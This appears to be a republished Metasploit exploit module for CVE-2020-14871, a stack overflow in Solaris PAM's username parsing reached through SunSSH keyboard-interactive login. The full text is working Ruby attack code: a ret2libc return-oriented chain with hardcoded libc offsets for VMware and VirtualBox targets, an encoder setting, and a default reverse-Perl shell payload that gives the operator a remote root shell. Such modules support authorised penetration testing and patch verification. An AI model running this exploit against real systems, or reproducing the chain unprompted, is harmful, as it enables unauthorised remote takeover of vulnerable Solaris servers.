Authored by wvu, Hacker Fantastic, Jeffrey Martin, Aaron Carreras, Jacob Thompson | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in the Solaris PAM library’s username parsing code, as used by the SunSSH daemon when the keyboard-interactive authentication method is specified. Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox, VMware Fusion, and VMware Player. Bare metal untested. Your addresses may vary.

advisories | CVE-2020-14871

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::SSH

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the Solaris PAM
library's username parsing code, as used by the SunSSH daemon when the
keyboard-interactive authentication method is specified.

Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox,
VMware Fusion, and VMware Player. Bare metal untested. Your addresses
may vary.
},
'Author' => [
'Jacob Thompson', # Analysis
'Aaron Carreras', # Analysis
'Jeffrey Martin', # Testing
'Hacker Fantastic', # PoC
'wvu' # Exploit
],
'References' => [
['CVE', '2020-14871'],
['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'],
['URL', 'https://hacker.house/lab/cve-2020-18471/'],
['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841']
],
'DisclosureDate' => '2020-10-20', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
# https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617
'BadChars' => "x00x09x20",
'Encoder' => 'cmd/perl'
},
'Targets' => [
[
'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware',
{
'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
'LibcBase' => 0xfeb90000
}
],
[
'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox',
{
'Ident' => 'SSH-2.0-Sun_SSH_1.1.5',
'LibcBase' => 0xfeb80000
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl',
'SSH_TIMEOUT' => 2,
'CheckModule' => 'auxiliary/scanner/ssh/ssh_version'
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS]
}
)
)
end

def check
# Run auxiliary/scanner/ssh/ssh_version
checkcode = super

return checkcode unless checkcode == CheckCode::Detected

unless target['Ident'] == checkcode.details[:ident]
return CheckCode::Safe("#{target.name} is an incompatible target.")
end

CheckCode::Appears("#{target.name} is a compatible target.")
end

def exploit
print_status("Exploiting #{target.name}")

ssh_client_opts = ssh_client_defaults.merge(
port: rport,
auth_methods: ['keyboard-interactive'],
password: ret2libc, # HACK: This is really the username prompt on Solaris
timeout: datastore['SSH_TIMEOUT']
)

ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}")

# Empty initial username
Net::SSH.start(rhost, '', ssh_client_opts)
rescue Net::SSH::AuthenticationFailed
print_error(CheckCode::Safe.message)
rescue Net::SSH::Disconnect
print_warning('Disconnected, target selection may be incorrect!')
rescue Net::SSH::ConnectionTimeout
# Do nothing on success
end

# XXX: No ASLR, but libc base changes...
def ret2libc
buf = rand_text(516)
buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret
buf << rand_text(4)
buf << p32(0x08040101) # ecx
buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret
buf << p32(target['LibcBase'] + 0x256d0) # exit(3)
buf << p32(target['LibcBase'] + 0x91edf) # system(3)
buf << rand_text(4)
buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret
buf << payload.encoded
end

def p32(addr)
[addr].pack('V')
end

end